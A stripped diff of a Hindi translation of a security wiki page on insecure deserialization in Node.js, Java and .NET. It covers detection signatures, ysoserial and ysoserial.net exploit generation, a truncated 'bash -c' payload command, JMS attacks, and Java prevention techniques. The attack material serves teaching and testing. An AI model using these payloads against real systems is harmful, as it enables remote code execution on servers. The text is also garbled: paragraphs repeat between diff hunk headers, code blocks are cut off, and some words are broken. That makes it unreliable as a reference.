आप [**यहां खोज सकते हैं**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **इस कमजोरियों का शोषण करने के बारे में अधिक जानकारी**
आप [**यहां**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **अधिक जानकारी** प्राप्त कर सकते हैं कि इस कमजोरियों का लाभ कैसे उठाया जाए
### [funcster](https://www.npmjs.com/package/funcster)
**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निहित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोडों के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
**funcster** का एक महत्वपूर्ण पहलू **मानक अंतर्निहित वस्तुओं** की अनुपलब्धता है; ये सुलभ दायरे से बाहर हैं। यह प्रतिबंध उन कोड के निष्पादन को रोकता है जो अंतर्निहित वस्तुओं पर विधियों को कॉल करने का प्रयास करते हैं, जिससे `"ReferenceError: console is not defined"` जैसी अपवाद उत्पन्न होते हैं जब `console.log()` या `require(something)` जैसे कमांड का उपयोग किया जाता है।
इस सीमा के बावजूद, सभी मानक अंतर्निहित वस्तुओं सहित वैश्विक संदर्भ तक पूर्ण पहुंच को पुनर्स्थापित करना एक विशिष्ट दृष्टिकोण के माध्यम से संभव है। वैश्विक संदर्भ का सीधे उपयोग करके, इस प्रतिबंध को बायपास किया जा सकता है। उदाहरण के लिए, निम्नलिखित स्निपेट का उपयोग करके पहुंच को फिर से स्थापित किया जा सकता है:
```javascript
@ -339,7 +339,7 @@ funcster.deepDeserialize(desertest3)
### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript)
**serialize-javascript** पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ताओं को अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने की जिम्मेदारी होती है। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा `eval` का प्रत्यक्ष उपयोग सुझाया गया है:
**serialize-javascript** पैकेज विशेष रूप से अनुक्रमण के उद्देश्यों के लिए डिज़ाइन किया गया है, जिसमें कोई अंतर्निहित अव्यवस्थित करने की क्षमताएँ नहीं हैं। उपयोगकर्ता अव्यवस्थित करने के लिए अपनी स्वयं की विधि लागू करने के लिए जिम्मेदार हैं। अनुक्रमित डेटा को अव्यवस्थित करने के लिए आधिकारिक उदाहरण द्वारा `eval` का प्रत्यक्ष उपयोग सुझाया गया है:
```javascript
function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
@ -370,7 +370,7 @@ deserialize(test)
## Java - HTTP
Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो ऐसे दुर्भावनापूर्ण payloads तैयार करते हैं जो इन callbacks को ट्रिगर करते हैं, जिससे संभावित हानिकारक क्रियाओं का निष्पादन हो सकता है।
Java में, **deserialization callbacks deserialization की प्रक्रिया के दौरान निष्पादित होते हैं**। इस निष्पादन का दुरुपयोग उन हमलावरों द्वारा किया जा सकता है जो ऐसे दुर्भावनापूर्ण payloads तैयार करते हैं जो इन callbacks को ट्रिगर करते हैं, जिससे संभावित हानिकारक क्रियाओं का निष्पादन होता है।
### फिंगरप्रिंट्स
@ -383,7 +383,7 @@ Java में, **deserialization callbacks deserialization की प्रक
विशेष ध्यान दें:
- `XMLDecoder` का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ किया गया
- `XMLDecoder` का उपयोग बाहरी उपयोगकर्ताओं द्वारा परिभाषित पैरामीटर के साथ।
- `XStream` का `fromXML` विधि, विशेष रूप से यदि XStream संस्करण 1.46 या उससे कम है, क्योंकि यह serialization समस्याओं के प्रति संवेदनशील है।
- `ObjectInputStream` जो `readObject` विधि के साथ जुड़ा हुआ है।
- `readObject`, `readObjectNodData`, `readResolve`, या `readExternal` जैसी विधियों का कार्यान्वयन।
@ -392,14 +392,14 @@ Java में, **deserialization callbacks deserialization की प्रक
#### ब्लैक बॉक्स
ब्लैक बॉक्स परीक्षण के लिए, विशेष **हस्ताक्षर या "मैजिक बाइट्स"** की तलाश करें जो java serialized objects को दर्शाते हैं (जो `ObjectInputStream` से उत्पन्न होते हैं):
ब्लैक बॉक्स परीक्षण के लिए, java serialized objects (जो `ObjectInputStream` से उत्पन्न होते हैं) को दर्शाने वाले विशिष्ट **हस्ताक्षर या "मैजिक बाइट्स"** की तलाश करें:
- हेक्साडेसिमल पैटर्न: `AC ED 00 05`
- बेस64 पैटर्न: `rO0`
- HTTP प्रतिक्रिया हेडर जिमें `Content-type` `application/x-java-serialized-object` पर सेट है।
- HTTP प्रतिक्रिया हेडर जिमें `Content-type` `application/x-java-serialized-object` पर सेट है।
- पूर्व संकुचन को दर्शाने वाला हेक्साडेसिमल पैटर्न: `1F 8B 08 00`
- पूर्व संकुचन को दर्शाने वाला बेस64 पैटर्न: `H4sIA`
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में एक परीक्षा का संकेत देती है जैसा कि [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट में विस्तृत किया गया है
- `.faces` एक्सटेंशन वाले वेब फ़ाइलें और `faces.ViewState` पैरामीटर। इन पैटर्नों की खोज एक वेब एप्लिकेशन में [Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md) के बारे में पोस्ट के अनुसार जांच करने के लिए प्रेरित करनी चाहिए
```
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
```
@ -421,14 +421,14 @@ grep -R InvokeTransformer .
#### ब्लैक बॉक्स टेस्ट
Burp एक्सटेंशन [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) का उपयोग करके आप **कौन सी लाइब्रेरीज़ उपलब्ध हैं** (और यहां तक कि संस्करण भी) पहचान सकते हैं। इस जानकारी के साथ, **कमजोरी का शोषण करने के लिए एक पेलोड चुनना आसान हो सकता है**।\
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\
[**GadgetProbe के बारे में अधिक जानने के लिए इसे पढ़ें**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)****\
GadgetProbe **`ObjectInputStream` deserializations** पर केंद्रित है।
Burp एक्सटेंशन [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) का उपयोग करके आप **कमजोर लाइब्रेरीज़** की पहचान कर सकते हैं जिन्हें ysoserial के साथ शोषित किया जा सकता है और **उनका शोषण** कर सकते हैं।\
[**Java Deserialization Scanner के बारे में अधिक जानने के लिए इसे पढ़ें।**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\
Java Deserialization Scanner **`ObjectInputStream`** deserializations पर केंद्रित है।
आप [**Freddy**](https://github.com/nccgroup/freddy) का उपयोग करके **deserializations** कमजोरियों का पता लगाने के लिए **Burp** में भी उपयोग कर सकते हैं। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
आप [**Freddy**](https://github.com/nccgroup/freddy) का भी उपयोग कर हैं **Burp** में **deserializations** कमजोरियों का पता लगाने के लिए। यह प्लगइन **केवल `ObjectInputStream`** से संबंधित कमजोरियों का पता नहीं लगाएगा बल्कि **Json** और **Yml** deserialization लाइब्रेरीज़ से भी कमजोरियों का पता लगाएगा। सक्रिय मोड में, यह नींद या DNS पेलोड का उपयोग करके उन्हें पुष्टि करने की कोशिश करेगा।\
[**आप यहां Freddy के बारे में अधिक जानकारी प्राप्त कर सकते हैं।**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
**Serialization टेस्ट**
@ -487,7 +487,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
# Base64 encode payload in base64
base64 -w0 payload
```
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित कर सकें या यहां तक कि **कमांड के लिए तर्क** को **स्पेस** द्वारा अलग कर सकें (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
जब **java.lang.Runtime.exec()** के लिए एक payload बनाते हैं, तो आप **विशेष वर्ण** जैसे ">" या "|" का उपयोग नहीं कर सकते हैं ताकि निष्पादन का आउटपुट पुनर्निर्देशित किया जा सके, "$()" का उपयोग करके आदेश निष्पादित करने के लिए या यहां तक कि **कमांड के लिए तर्क** पास रने के लिए ज**स्पेस** द्वारा अलग किए गए हैं (आप `echo -n "hello world"` कर सकते हैं लेकिन आप `python2 -c 'print "Hello world"'` नहीं कर सकते)। payload को सही ढंग से एन्कोड करने के लिए, आप [इस वेबपेज](http://www.jackson-t.ca/runtime-exec-payloads.html) का उपयोग कर सकते हैं।
Windows और Linux के लिए **सभी संभावित कोड निष्पादन** payloads बनाने के लिए अगले स्क्रिप्ट का उपयोग करने के लिए स्वतंत्र महसूस करें और फिर उन्हें कमजोर वेब पृष्ठ पर परीक्षण करें:
```python
@ -512,7 +512,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
```
#### serialkillerbypassgadgets
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **अधिक एक्सप्लॉइट बनाने के लिए ysoserial के साथ**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
आप **इसका उपयोग कर सकते हैं** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **और ysoserial के साथ अधिक एक्सप्लॉइट बनाने के लिए**। इस टूल के बारे में अधिक जानकारी **टॉक की स्लाइड्स** में है जहाँ टूल प्रस्तुत किया गया था: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
#### marshalsec
@ -553,14 +553,14 @@ Java विभिन्न उद्देश्यों के लिए ब
- **HTTP requests**: Serialization का व्यापक रूप से प्रबंधन के लिए उपयोग किया जाता है जैसे कि parameters, ViewState, cookies, आदि।
- **RMI (Remote Method Invocation)**: Java RMI प्रोटोकॉल, जो पूरी तरह से serialization पर निर्भर करता है, Java अनुप्रयोगों में दूरस्थ संचार के लिए एक आधारशिला है।
- **RMI over HTTP**: यह विधि Java-आधारित मोटे क्लाइंट वेब अनुप्रयोगों द्वारा सामान्यतः उपयोग की जाती है, जो सभी ऑब्जेक्ट संचार के लिए serialization का उपयोग करती है।
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को संचारित करने के लिए serialization का उपयोग करता है।
- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी एक्सप्लॉइट उदाहरणों में प्रदर्शित किया जाएगा।
- **JMX (Java Management Extensions)**: JMX नेटवर्क पर ऑब्जेक्ट्स को भेजने के लिए serialization का उपयोग करता है।
- **Custom Protocols**: Java में, मानक प्रथा कच्चे Java ऑब्जेक्ट्स के संचरण में शामिल होती है, जिसे आगामी हमले के उदाहरणों में प्रदर्शित किया जाएगा।
### Prevention
#### Transient objects
एक क्लास जो `Serializable` को लागू करती है, वह क्लास के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकत है जिसे serializable नहीं होना चाहिए। उदाहरण:
एक वर्ग जो `Serializable` को लागू करता है, वह वर्ग के अंदर किसी भी ऑब्जेक्ट को `transient` के रूप में लागू कर सकत है जिसे serializable नहीं होना चाहिए। उदाहरण:
```java
public class myAccount implements Serializable
{
@ -569,7 +569,7 @@ private transient double margin; // declared transient
```
#### एक क्लास के Serialization से बचें जिसे Serializable को लागू करने की आवश्यकता है
उन परिदृश्यों में जहां कुछ **ऑब्जेक्ट्स को क्लास हायरार्की के कारण `Serializable`** इंटरफेस को लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये ऑब्जेक्ट्स non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
उन परिदृश्यों में जहां कुछ **objects को क्लास हायरार्की के कारण `Serializable`** इंटरफेस को लागू करना चाहिए, अनजाने में deserialization का जोखिम होता है। इसे रोकने के लिए, सुनिश्चित करें कि ये objects non-deserializable हैं, एक `final` `readObject()` मेथड को परिभाषित करके जो लगातार एक अपवाद फेंकता है, जैसा कि नीचे दिखाया गया है:
```java
private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
@ -577,12 +577,12 @@ throw new java.io.IOException("Cannot be deserialized");
```
#### **Java में Deserialization सुरक्षा बढ़ाना**
**`java.io.ObjectInputStream`** को अनुकूलित करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
**`java.io.ObjectInputStream`** को कस्टमाइज़ करना deserialization प्रक्रियाओं को सुरक्षित करने के लिए एक व्यावहारिक दृष्टिकोण है। यह विधि तब उपयुक्त है जब:
- Deserialization कोड आपके नियंत्रण में है।
- Deserialization के लिए अपेक्षित कक्ष ज्ञात हैं।
- Deserialization के लिए अपेक्षित कक्षाएँ ज्ञात हैं।
**`resolveClass()`** विधि को ओवरराइड करें ताकि केवल अनुमत कक्षों तक deserialization सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षं के जो स्पष्ट रूप से अनुमत हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
**`resolveClass()`** विधि को ओवरराइड करें ताकि deserialization केवल अनुमत कक्षाओं तक सीमित हो सके। यह किसी भी कक्षा के deserialization को रोकता है सिवाय उन कक्षाओं के जो स्पष्ट रूप से अनुमति दी गई हैं, जैसे कि निम्नलिखित उदाहरण में जो deserialization को केवल `Bicycle` कक्षा तक सीमित करता है:
```java
// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {
@ -607,13 +607,13 @@ return super.resolveClass(desc);
```
-javaagent:name-of-agent.jar
```
यह गतिशील रूप से डेसिरियलाइजेशन को सुरक्षित करने का एक तरीका प्रदान करता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
यह एक ऐसा तरीका प्रदान करता है जिससे डेसिरियलाइजेशन को गतिशील रूप से सुरक्षित किया जा सकता है, जो उन वातावरणों के लिए आदर्श है जहाँ तात्कालिक कोड परिवर्तन व्यावहारिक नहीं हैं।
एक उदाहरण देखें [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
**सिरियलाइजेशन फ़िल्टर लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफ़ेस के माध्यम से सिरियलाइजेशन फ़िल्टर पेश किए, जो डेसिरियलाइजेशन से पहले सिरियलाइज किए गए ऑब्जेक्ट्स को पूरा करने के लिए मानदंड निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।
**Serialization Filters को लागू करना**: Java 9 ने **`ObjectInputFilter`** इंटरफेस के माध्यम से serialization filters पेश किए, जो उन मानदंडों को निर्दिष्ट करने के लिए एक शक्तिशाली तंत्र प्रदान करते हैं जिन्हें डेसिरियलाइज होने से पहले serialized वस्तुओं को पूरा करना चाहिए। ये फ़िल्टर वैश्विक रूप से या प्रति स्ट्रीम लागू किए जा सकते हैं, जो डेसिरियलाइजेशन प्रक्रिया पर बारीक नियंत्रण प्रदान करते हैं।
सिरियलाइजेशन फ़िल्टर का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
Serialization filters का उपयोग करने के लिए, आप एक वैश्विक फ़िल्टर सेट कर सकते हैं जो सभी डेसिरियलाइजेशन संचालन पर लागू होता है या इसे विशिष्ट स्ट्रीम के लिए गतिशील रूप से कॉन्फ़िगर कर सकते हैं। उदाहरण के लिए:
```java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
@ -625,16 +625,16 @@ return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
```
**बाहरी पुस्तकालयों का लाभ उठाना सुरक्षा को बढ़ाने के लिए**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डसिरियलाइजेशन से पहले सीरियलाइज्ड ऑब्जेक्ट्स का विश्लेषण करना, और कस्टम सीरियलाइजेशन रणनीतियों को लागू करना।
**बाहरी पुस्तकालयों का उपयोग करके सुरक्षा में सुधार**: पुस्तकालय जैसे **NotSoSerial**, **jdeserialize**, और **Kryo** जावा डसिरियलाइजेशन को नियंत्रित और मॉनिटर करने के लिए उन्नत सुविधाएँ प्रदान करते हैं। ये पुस्तकालय अतिरिक्त सुरक्षा परतें प्रदान कर सकते हैं, जैसे कि कक्षाओं की व्हाइटलिस्टिंग या ब्लैकलिस्टिंग, डसिरियलाइजेशन से पहले सीरियलाइज्ड ऑब्जेक्ट्स का विश्लेषण करना, और कस्टम सीरियलाइजेशन रणनीतियों को लागू करना।
- **NotSoSerial**सिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
- **jdeserialize** बिना डसिरियलाइज किए सीरियलाइज्ड जावा ऑब्जेक्ट्स का विश्लेषण करने की अनुमति देता है, जिससे संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद मिलती है।
- **NotSoSerial**सिरियलाइजेशन प्रक्रियाओं को रोकता है ताकि अविश्वसनीय कोड का निष्पादन न हो सके।
- **jdeserialize** बिना डसिरियलाइज किए सीरियलाइज्ड जावा ऑब्जेक्ट्स का विश्लेषण करने की अनुमति देता है, जिससे संभावित रूप से दुर्भावनापूर्ण सामग्री की पहचान करने में मदद मिलती है।
- **Kryo** एक वैकल्पिक सीरियलाइजेशन ढांचा है जो गति और दक्षता पर जोर देता है, जो कॉन्फ़िगर करने योग्य सीरियलाइजेशन रणनीतियाँ प्रदान करता है जो सुरक्षा को बढ़ा सकती हैं।
### संदर्भ
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
- डसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- डसिरियलाइजेशन और ysoserial वार्ता: [http://frohoff.github.io/appseccali-marshalling-pickles/](http://frohoff.github.io/appseccali-marshalling-pickles/)
- [https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
- [https://www.youtube.com/watch?v=VviY3O-euVQ](https://www.youtube.com/watch?v=VviY3O-euVQ)
- gadgetinspector के बारे में वार्ता: [https://www.youtube.com/watch?v=wPbW6zQ52w8](https://www.youtube.com/watch?v=wPbW6zQ52w8) और स्लाइड: [https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
@ -642,8 +642,8 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- [https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
- [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
- [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
- जावा और .Net JSON डसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- डसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
- जावा और .Net JSON डसिरियलाइजेशन **पेपर:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** वार्ता: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) और स्लाइड: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
- डसिरियलाइजेशन CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
## JNDI इंजेक्शन और log4Shell
@ -668,12 +668,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### शोषण
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर सकते हैं जो उपभोक्ता/सदस्य द्वारा डसिरियलाइज किए जाएंगे**।\
तो, मूल रूप से, **JMS का उपयोग करने वाली कई सेवाएँ खतरनाक तरीके से हैं**। इसलिए, यदि आपके पास इन सेवाओं को संदेश भेजने के लिए **पर्याप्त विशेषाधिकार** हैं (आमतौर पर आपको मान्य क्रेडेंशियल्स की आवश्यकता होगी) तो आप **दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर सकते हैं जो उपभोक्ता/सदस्य द्वारा डसिरियलाइज किए जाएंगे**।\
इसका मतलब है कि इस शोषण में सभी **क्लाइंट जो उस संदेश का उपयोग करने जा रहे हैं संक्रमित हो जाएंगे**
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
आपको याद रखना चाहिए कि भले ही कोई सेवा कमजोर हो (क्योंकि यह उपयोगकर्ता इनपुट को असुरक्षित रूप से डसिरियलाइज कर रही है) आपको अभी भी कमजोरियों का शोषण करने के लिए मान्य गैजेट्स खोजने की आवश्यकता है।
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं पर कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज करते हैं**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर एप्लिकेशन के अंदर हो।
उपकरण [JMET](https://github.com/matthiaskaiser/jmet) को **इन सेवाओं से कनेक्ट और हमला करने के लिए बनाया गया था, जो ज्ञात गैजेट्स का उपयोग करके कई दुर्भावनापूर्ण ऑब्जेक्ट्स को सीरियलाइज कर रहा है**। ये शोषण तब काम करेंगे जब सेवा अभी भी कमजोर हो और यदि उपयोग किए गए गैजेट्स में से कोई भी कमजोर एप्लिकेशन के अंदर हो।
### संदर्भ
@ -684,13 +684,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
## .Net
. Net के संदर्भ में, डसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहां गैजेट्स का शोषण एक ऑब्जेक्ट के डीसिरियलाइजेशन के दौरान विशिष्ट कोड चलाने के लिए किया जाता है।
. Net के संदर्भ में, डसिरियलाइजेशन शोषण जावा में पाए जाने वाले तरीकों के समान काम करते हैं, जहां गैजेट्स का शोषण ऑब्जेक्ट के डेसिरियलाइजेशन के दौरान विशिष्ट कोड चलाने के लिए किया जाता है।
### फिंगरप्रिंट
#### व्हाइटबॉक्स
स्रोत कोड में निम्नलिखित की घटनाओं की जांच की जानी चाहिए:
स्रोत कोड की जांच की जानी चाहिए कि:
1. `TypeNameHandling`
2. `JavaScriptTypeResolver`
@ -699,25 +699,25 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
#### ब्लैकबॉक्स
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डीसिरियलाइजेशन के अधीन हो, जिससे डीसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त हो सके। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
खोज को बेस64 एन्कोडेड स्ट्रिंग **AAEAAAD/////** या किसी समान पैटर्न पर लक्षित करना चाहिए जो सर्वर-साइड पर डेसिरियलाइजेशन के अधीन हो, जिससे डेसिरियलाइज होने वाले प्रकार पर नियंत्रण प्राप्त हो सके। इसमें, लेकिन सीमित नहीं है, **JSON** या **XML** संरचनाएँ शामिल हो सकती हैं जिनमें `TypeObject` या `$type` है।
### ysoserial.net
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
इस मामले में आप उपकरण [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) का उपयोग कर सकते हैं ताकि **डसिरियलाइजेशन शोषण बनाए जा सकें**। एक बार जब आप git रिपॉजिटरी डाउनलोड कर लेते हैं तो आपको **उपकरण को संकलित करना चाहिए**, उदाहरण के लिए, Visual Studio का उपयोग करके।
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ की जांच कर सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
यदि आप जानना चाहते हैं कि **ysoserial.net अपना शोषण कैसे बनाता है** तो आप [**इस पृष्ठ को देख सकते हैं जहां ObjectDataProvider गैजेट + ExpandedWrapper + Json.Net फॉर्मेटर समझाया गया है**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)।
